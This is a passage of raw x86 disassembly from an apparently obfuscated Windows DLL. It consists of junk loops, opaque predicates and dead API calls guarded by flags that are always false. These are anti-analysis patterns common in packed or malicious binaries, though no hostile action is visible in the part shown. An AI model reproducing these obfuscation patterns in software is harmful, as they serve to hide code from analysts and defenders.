mov eax, dword [ebp - 0x2b4]
and eax, dword [ebp - 0x2bc]
cdq
mov dword [ebp - 0xabc], eax
mov dword [ebp - 0xab8], edx
push dword [ebp - 0xab8]
push dword [ebp - 0xabc]
lea ecx, [ebp - 0x11a4]
call fcn.1000a8a3
pop ecx
pop ecx
mov dword [ebp - 0xb24], eax
mov ecx, dword [ebp - 0xb24]
call fcn.100144ba
push eax
call fcn.1004e12e
pop ecx
lea ecx, [ebp - 0x11a4]
call fcn.10009c7e
jmp 0x10043d8d
jmp 0x10043d6b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], 0x25
cmp dword [ebp - 0x680], 0x150a
jge 0x10043e2b
push dword [ebp - 0xbcc]
call fcn.1004e12e
pop ecx
jmp 0x10043e47
or dword [ebp - 4], 0xffffffff
jmp 0x10043e51
mov dword [ebp - 0x1fc], 0
jmp 0x10043e6a
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x10043e86
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x464], 1
jmp 0x10043e5d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x464], 0
jmp 0x10043eb4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x464]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x464], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x464], 0xd
jge 0x10043f9f
mov dword [ebp - 0x688], 0x8dd4
push 3
lea ecx, [ebp - 0xe08]
call fcn.10009c88
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x2c4], 0
jmp 0x10043eff
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 3
jge 0x10043f21
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0xe08]
call fcn.10009d00
mov dword [eax], 1
jmp 0x10043ef2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x464], 0
jne 0x10043f3d
mov dword [ebp - 0xb2c], 1
jmp 0x10043f44
and dword [ebp - 0xb2c], 0
mov dword [ebp - 0x688], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x464]
cmp eax, dword [ebp - 0x688]
je 0x10043f6f
mov dword [ebp - 0x690], 1
jmp 0x10043f76
and dword [ebp - 0x690], 0
push 1
lea ecx, [ebp - 0xe08]
call fcn.10009d00
mov ecx, dword [ebp - 0x690]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe08]
call fcn.10009ce4
jmp 0x10043e99
mov eax, dword [0x1060e22c]
and eax, 1
jne 0x10043fd6
mov eax, dword [0x1060e22c]
or eax, 1
mov dword [0x1060e22c], eax
mov dword [ebp - 4], 0x28
mov ecx, 0x1060e20c
call fcn.1001481d
push 0x100662c4
call fcn.1004dcf6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x78], 0
mov dword [ebp - 0xd58], 0x6748f69f
mov dword [ebp - 0xd54], 0x6748f69f
mov dword [ebp - 0xd50], 0x6748f69f
mov dword [ebp - 0xd4c], 0x6748f69f
lea ecx, [ebp - 0x3e2]
call fcn.10009e64
push eax
lea eax, [ebp - 0xd48]
push eax
lea eax, [ebp - 0xd58]
push eax
lea ecx, [ebp - 0x10dc]
call fcn.10014809
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc28]
call fcn.100147e3
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x6c8], 0x6f8f9ed0
mov dword [ebp - 0xc50], 0xfffffff6
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0x78]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x78], 3
jmp 0x1004406e
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x100441e6
mov dword [ebp - 0x6a0], 0x9a5a40f2
mov dword [ebp - 0x3a4], 0x34688073
mov dword [ebp - 0x2cc], 0
jmp 0x100440a5
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 3
jge 0x100440c1
mov eax, dword [ebp - 0x2cc]
mov dword [ebp + eax*4 - 0x10c4], 0xfffffff8
jmp 0x10044098
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10c4], 0x758e356e
je 0x100440e0
mov dword [ebp - 0x698], 1
jmp 0x100440e7
and dword [ebp - 0x698], 0
mov dword [ebp - 0x3a4], 0xe414
push dword [ebp - 0x78]
lea ecx, [ebp - 0xc28]
call fcn.10009d00
mov ecx, dword [ebp - 0x698]
imul ecx, dword [eax]
mov eax, dword [ebp - 0x3a4]
imul eax, ecx
cmp eax, 0xffffffff
jle 0x10044122
mov dword [ebp - 0x6a8], 1
jmp 0x10044129
and dword [ebp - 0x6a8], 0
mov dword [ebp - 0x6a0], 0xfffffffa
mov eax, dword [ebp - 0x6a0]
add eax, dword [ebp - 0x6a8]
je 0x10044152
xor eax, eax
inc eax
je 0x10044152
mov dword [ebp - 0x6b0], 1
jmp 0x10044159
and dword [ebp - 0x6b0], 0
push 1
lea ecx, [ebp - 0xc28]
call fcn.10009d00
mov esi, dword [ebp - 0x6b0]
sub esi, dword [eax]
push dword [ebp - 0x78]
lea ecx, [ebp - 0xc28]
call fcn.10009d00
cmp dword [eax], esi
je 0x1004418c
mov dword [ebp - 0x6b8], 1
jmp 0x10044193
and dword [ebp - 0x6b8], 0
push dword [ebp - 0x78]
lea ecx, [ebp - 0xc28]
call fcn.10009d00
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6b8]
je 0x100441b7
mov dword [ebp - 0x6c0], 1
jmp 0x100441be
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0xc50], eax
cmp dword [ebp - 0x3a4], 0
je 0x100441e1
jmp 0x100441e6
jmp 0x10044067
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc28]
call fcn.10009ce4
movzx eax, byte [0x1060e078]
test eax, eax
je 0x1004461e
mov ecx, 0x1060e20c
call fcn.100472f6
movzx eax, al
test eax, eax
jne 0x1004461e
lea eax, [ebp - 0x364]
push eax
lea eax, [ebp - 0x700]
push eax
mov ecx, 0x1060e20c
call fcn.100148e2
push 1
lea ecx, [ebp - 0x45c]
call fcn.10009c88
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x1038], 0xc9f196e6
mov dword [ebp - 0xe88], 0
mov dword [ebp - 0xb34], 0x9b8842b4
mov dword [ebp - 0xb3c], 0xfffffff8
mov dword [ebp - 0xf74], 0xe879
mov dword [ebp - 0xa8], 0
jmp 0x10044290
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 4
jge 0x100442ac
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x1094], 0xa8eac8b
jmp 0x10044283
mov dword [ebp - 0xa8], 0
jmp 0x100442c5
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x100442e7
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x45c]
call fcn.10009d00
mov dword [eax], 0x3fcb50bf
jmp 0x100442b8
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
mov dword [eax], 3
jmp 0x10044320
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x6d0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6d0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
cmp dword [eax], 0
jl 0x100444ed
mov dword [ebp - 0xc30], 0x39c9d940
push 3
lea ecx, [ebp - 0xce0]
call fcn.10009c88
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x2d4], 0
jmp 0x1004436a
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 3
jge 0x1004438c
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0xce0]
call fcn.10009d00
mov dword [eax], 0xfffffff8
jmp 0x1004435d
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x1094], 0
jne 0x1004448e
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
cmp dword [eax], 1
je 0x100443c7
mov dword [ebp - 0x6d8], 1
jmp 0x100443ce
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0xb34]
cmp dword [ebp - 0x6d8], eax
jne 0x100443e8
mov dword [ebp - 0x6e0], 1
jmp 0x100443ef
and dword [ebp - 0x6e0], 0
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1094]
cmp dword [ebp - 0x6e0], eax
jge 0x10044422
mov eax, 0x3782
test eax, eax
je 0x10044422
mov dword [ebp - 0xbdc], 1
jmp 0x10044429
and dword [ebp - 0xbdc], 0
cmp dword [ebp - 0xb3c], 0
jne 0x1004443e
mov dword [ebp - 0x6e8], 1
jmp 0x10044445
and dword [ebp - 0x6e8], 0
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
mov ecx, dword [ebp - 0x6e8]
add ecx, dword [eax]
jne 0x1004446e
cmp dword [ebp - 0xc30], 0
jne 0x1004446e
and dword [ebp - 0x6f0], 0
jmp 0x10044478
mov dword [ebp - 0x6f0], 1
mov eax, dword [ebp - 0x6f0]
add eax, 0x7c3e85c1
jne 0x1004448e
and dword [ebp - 0x6f8], 0
jmp 0x10044498
mov dword [ebp - 0x6f8], 1
mov esi, dword [ebp - 0x6f8]
add esi, 0x534d2afb
push 0
lea ecx, [ebp - 0xce0]
call fcn.10009d00
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x45c]
call fcn.10009d00
cmp dword [eax], 0
je 0x100444d9
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xce0]
call fcn.10009ce4
jmp 0x100442fc
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xce0]
call fcn.10009ce4
jmp 0x100442fc
mov byte [ebp - 0x146], 0
movzx eax, byte [ebp - 0x146]
test eax, eax
je 0x1004450d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x45c]
call fcn.10009ce4
lea eax, [ebp - 0xe90]
push eax
mov ecx, 0x1060e20c
call fcn.100148d4
push eax
lea ecx, [ebp - 0x700]
call fcn.100148f7
movzx eax, al
test eax, eax
je 0x1004461e
mov dword [ebp - 0x2dc], 0xfffffffb
mov dword [ebp - 0x2dc], 0
jmp 0x10044567
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x16
jle 0x1004460a
mov dword [ebp - 0x2e4], 0
jmp 0x1004458d
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 3
jge 0x100445a9
mov eax, dword [ebp - 0x2e4]
mov dword [ebp + eax*4 - 0xcc8], 1
jmp 0x10044580
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xcc8], 0
jmp 0x100445d7
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcc8]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xcc8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcc8], 0xfffffff1
jle 0x10044605
mov byte [ebp - 0x148], 0
movzx eax, byte [ebp - 0x148]
test eax, eax
je 0x10044603
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
jmp 0x100445bc
jmp 0x1004455a
lea ecx, [ebp - 0x700]
call fcn.100472ff
mov eax, dword [eax + 4]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xffffffff
jne 0x100460ca
mov dword [ebp - 0x2ec], 0x5540d7f8
mov dword [ebp - 0x2ec], 0xffffffff
jmp 0x1004464e
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x18
jg 0x1004466d
mov dword [ebp - 0xb44], 0x304b25b3
mov dword [ebp - 0xb44], 0xffffffff
jmp 0x10044641
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x10044687
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
mov ecx, 0x1060e20c
call fcn.10047343
mov ecx, dword [ebp - 0xe8]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1060e20c
call fcn.10047347
mov dword [ebp - 0x1c], 0x261f9c28
cmp dword [ebp - 0x1c], 0
je 0x10044802
mov dword [ebp - 0x68], 0x6d4f2887
mov dword [ebp - 0xc34], 0x6cc72b75
cmp dword [ebp - 0x1c], 0x8664a11
jg 0x100446dc
mov dword [ebp - 0x708], 1
jmp 0x100446e3
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x708], eax
jne 0x100446fa
mov dword [ebp - 0xbec], 1
jmp 0x10044701
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1000], eax
cmp dword [ebp - 0x68], 0
je 0x10044714
cmp dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe98], eax
cmp dword [ebp - 0x68], 0xfffffff9
jae 0x1004472f
mov dword [ebp - 0xb4c], 1
jmp 0x10044736
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xf7c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xea0], eax
cmp dword [ebp - 0x68], 3
jg 0x1004475a
mov dword [ebp - 0x710], 1
jmp 0x10044761
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
neg eax
cmp eax, 0x7273
jl 0x1004477c
mov dword [ebp - 0x718], 1
jmp 0x10044783
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x718]
add eax, 0xfff9
cmp dword [ebp - 0x1c], eax
jg 0x1004479f
mov dword [ebp - 0x720], 1
jmp 0x100447a6
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
sub eax, dword [ebp - 0x68]
cmp dword [ebp - 0x1c], eax
jge 0x100447b8
cmp dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x68]
jne 0x100447cc
mov dword [ebp - 0x728], 1
jmp 0x100447d3
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x728], eax
jne 0x100447ea
mov dword [ebp - 0x730], 1
jmp 0x100447f1
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0xc34], eax
jmp 0x100449e8
mov dword [ebp - 0x88], 0
jmp 0x1004481b
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x10044837
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x47c], 0x3bd791f9
jmp 0x1004480e
mov dword [ebp - 0x88], 0
jmp 0x10044850
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1004486c
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xa24], 0xffffffff
jmp 0x10044843
mov dword [ebp - 0x1c], 0
jmp 0x1004487c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x100449e8
mov eax, 0xd127
test eax, eax
je 0x100448db
cmp dword [ebp - 0x1c], 0x43c7
jne 0x100448a4
mov dword [ebp - 0x738], 1
jmp 0x100448ab
and dword [ebp - 0x738], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x47c]
cmp dword [ebp - 0x738], eax
jge 0x100448cf
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x47c], 0
je 0x100448db
mov dword [ebp - 0x740], 1
jmp 0x100448e2
and dword [ebp - 0x740], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa24]
cmp dword [ebp - 0x740], eax
jne 0x10044906
cmp dword [ebp - 0x1c], 0
jne 0x10044906
and dword [ebp - 0x748], 0
jmp 0x10044910
mov dword [ebp - 0x748], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa24]
cmp dword [ebp - 0x748], eax
jg 0x10044931
mov dword [ebp - 0xb54], 1
jmp 0x10044938
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1058], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x47c]
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
push 4
pop edx
imul edx, edx, 0
mov esi, dword [ebp - 0x1c]
mov esi, dword [ebp + esi*4 - 0x47c]
imul esi, dword [ebp + edx - 0xa24]
sub esi, dword [ebp + ecx*4 - 0x47c]
cmp esi, dword [ebp + eax*4 - 0x47c]
jg 0x1004498d
mov dword [ebp - 0xbfc], 1
jmp 0x10044994
and dword [ebp - 0xbfc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa24]
mov dword [ebp - 0xf84], eax
mov eax, dword [ebp - 0x1c]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x47c]
cmp ecx, dword [ebp + eax*4 - 0x47c]
jl 0x100449cc
mov dword [ebp - 0x750], 1
jmp 0x100449d3
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x750]
mov dword [ebp + eax*4 - 0x47c], ecx
jmp 0x10044875
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x10044a05
push 0x60b
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
and dword [ebp - 0x154], 0
jmp 0x10044a1b
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x154]
cmp ecx, dword [eax + 0x18]
jae 0x100460ca
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x164]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x154]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x7b0], eax
push 1
lea ecx, [ebp - 0x9dc]
call fcn.10009c88
mov dword [ebp - 4], 0x2c
or dword [ebp - 0xd80], 0xffffffff
or dword [ebp - 0xd7c], 0xffffffff
or dword [ebp - 0xd78], 0xffffffff
or dword [ebp - 0xd74], 0xffffffff
lea ecx, [ebp - 0x385]
call fcn.10009e64
push eax
lea eax, [ebp - 0xd70]
push eax
lea eax, [ebp - 0xd80]
push eax
lea ecx, [ebp - 0x113c]
call fcn.10014809
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x378]
call fcn.100147e3
mov byte [ebp - 4], 0x2d
push 3
lea ecx, [ebp - 0xe2c]
call fcn.10009c88
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x2f4], 1
mov dword [ebp - 0xb8], 0
jmp 0x10044aeb
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jge 0x10044b0d
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov dword [eax], 0x64a6
jmp 0x10044ade
mov dword [ebp - 0xb8], 0
jmp 0x10044b26
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x10044b48
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xe2c]
call fcn.10009d00
mov dword [eax], 0x39ecf4a4
jmp 0x10044b19
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
and dword [eax], 0
jmp 0x10044b7e
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x758]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x758]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
cmp dword [eax], 0
jg 0x10044cd5
mov dword [ebp - 0x760], 1
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
push dword [eax]
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov esi, eax
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
push dword [eax]
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov eax, dword [eax]
mov dword [esi], eax
push 0
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov esi, eax
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
push dword [eax]
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x10044c13
mov dword [ebp - 0x770], 1
jmp 0x10044c1a
and dword [ebp - 0x770], 0
push 0
lea ecx, [ebp - 0x378]
call fcn.10009d00
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
mov esi, eax
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
push dword [eax]
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov eax, dword [eax]
add eax, dword [esi]
je 0x10044c6b
mov eax, 0xe2f9
test eax, eax
je 0x10044c6b
mov dword [ebp - 0x768], 1
jmp 0x10044c72
and dword [ebp - 0x768], 0
push 1
lea ecx, [ebp - 0x378]
call fcn.10009d00
push dword [eax]
lea ecx, [ebp - 0x9dc]
call fcn.10009d00
mov eax, dword [eax]
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0x760]
cmp eax, dword [ebp - 0x768]
jle 0x10044cae
mov dword [ebp - 0x778], 1
jmp 0x10044cb5
and dword [ebp - 0x778], 0
mov esi, dword [ebp - 0x770]
sub esi, dword [ebp - 0x778]
push 0
lea ecx, [ebp - 0xe2c]
call fcn.10009d00
mov dword [eax], esi
jmp 0x10044b5a
mov dword [ebp - 0x2f4], 3
jmp 0x10044cee
mov eax, dword [ebp - 0x2f4]
dec eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0
jl 0x10044d3f
mov dword [ebp - 0x188], 0x86fd5d70
mov dword [ebp - 0x188], 0
jmp 0x10044d1a
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x10044d3d
push dword [ebp - 0x188]
lea ecx, [ebp - 0x378]
call fcn.10009d00
cmp dword [eax], 0
je 0x10044d3b
jmp 0x10044d3d
jmp 0x10044d0d
jmp 0x10044ce1
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xe2c]
call fcn.10009ce4
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x378]
call fcn.10009ce4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9dc]
call fcn.10009ce4
cmp dword [ebp - 0x7b0], 0
je 0x100460c5
mov dword [ebp - 0x7a8], 0x799e
mov dword [ebp - 0xc1c], 0x10008b94
cmp dword [ebp - 0x7a8], 0x7b2b
jle 0x10044e45
and dword [ebp - 0x30c], 0
jmp 0x10044db3
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0xc47
jge 0x10044e45
and dword [ebp - 0x2fc], 0
jmp 0x10044dd9
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x3a3b
jge 0x10044e40
and dword [ebp - 0x304], 0
jmp 0x10044dfb
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x6624
jge 0x10044e3e
mov eax, dword [ebp - 0x2fc]
xor eax, dword [ebp - 0x304]
or eax, dword [ebp - 0x30c]
cdq
mov dword [ebp - 0xac8], eax
mov dword [ebp - 0xac4], edx
push dword [ebp - 0xac4]
push dword [ebp - 0xac8]
mov ecx, 0x1060cf38
call fcn.100144da
jmp 0x10044dee
jmp 0x10044dcc
jmp 0x10044da6
push 3
lea ecx, [ebp - 0xe44]
call fcn.10009c88
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0xc0c], 0x717f4039
mov dword [ebp - 0xb6c], 0xfffffff7
mov dword [ebp - 0xc44], 0x6193fe69
mov dword [ebp - 0xb74], 0
mov dword [ebp - 0xc0], 0
jmp 0x10044e9a
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x10044eb3
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x64], 0x7c11
jmp 0x10044e8d
mov dword [ebp - 0xc0], 0
jmp 0x10044ecc
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jge 0x10044eee
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xe44]
call fcn.10009d00
mov dword [eax], 0xfffffffd
jmp 0x10044ebf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
je 0x10044f9c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x10044f1c
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x10044f1c
and dword [ebp - 0x780], 0
jmp 0x10044f26
mov dword [ebp - 0x780], 1
cmp dword [ebp - 0x780], 0xfe23a266
jbe 0x10044f3e
mov dword [ebp - 0xb5c], 1
jmp 0x10044f45
and dword [ebp - 0xb5c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x64]
cmp ecx, dword [ebp + eax - 0x64]
jge 0x10044f67
mov dword [ebp - 0xc3c], 1
jmp 0x10044f6e
and dword [ebp - 0xc3c], 0
push 0
lea ecx, [ebp - 0xe44]
call fcn.10009d00
mov dword [eax], 6
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x64], 6
test eax, eax
je 0x10044f9c
mov dword [ebp - 0xb64], 1
jmp 0x10044fa3
and dword [ebp - 0xb64], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
mov dword [ebp - 0xeb0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
mov dword [ebp - 0x1008], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x64]
cmp ecx, dword [ebp + eax - 0x64]
jle 0x10044fe5
mov dword [ebp - 0x788], 1
jmp 0x10044fec
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0xc0c]
cmp dword [ebp - 0x788], eax
jne 0x10045010
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x10045010
and dword [ebp - 0x790], 0
jmp 0x1004501a
mov dword [ebp - 0x790], 1
mov eax, dword [ebp - 0xb6c]
cmp dword [ebp - 0x790], eax
jl 0x10045034
mov dword [ebp - 0x798], 1
jmp 0x1004503b
and dword [ebp - 0x798], 0
cmp dword [ebp - 0x798], 0xfffffffa
ja 0x10045051
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x10045063
cmp dword [ebp - 0xc44], 0
jne 0x10045063
and dword [ebp - 0x7a0], 0
jmp 0x1004506d
mov dword [ebp - 0x7a0], 1
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0xb74], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe44]
call fcn.10009ce4
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x7a8], 0x770b
jge 0x100450ab
mov edx, dword [ebp - 0xc1c]
mov ecx, 0x1060cf38
call fcn.10016dcb
jmp 0x100450c7
or dword [ebp - 4], 0xffffffff
jmp 0x100450d1
mov eax, dword [ebp - 0x7b0]
mov ecx, dword [ebp - 0x164]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x10f4]
call fcn.10047154
mov dword [ebp - 4], 0x32
mov dword [ebp - 0xd8], 0x4fd3df75
push 1
lea ecx, [ebp - 0x488]
call fcn.10009c88
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x1a0], 7
mov dword [ebp - 0x34c], 6
mov dword [ebp - 0x314], 0
jmp 0x1004513a
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 1
jge 0x1004515c
push dword [ebp - 0x314]
lea ecx, [ebp - 0x488]
call fcn.10009d00
mov dword [eax], 0x1c15
jmp 0x1004512d
mov dword [ebp - 0xd8], 0
jmp 0x10045175
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 6
jne 0x10045aed
mov dword [ebp - 0x114], 0xca925f32
mov dword [ebp - 0x3bc], 0xb9e588ce
mov dword [ebp - 0xb7c], 0xd7a760e0
mov dword [ebp - 0xb94], 0x5fc2
mov dword [ebp - 0x31c], 0
jmp 0x100451c3
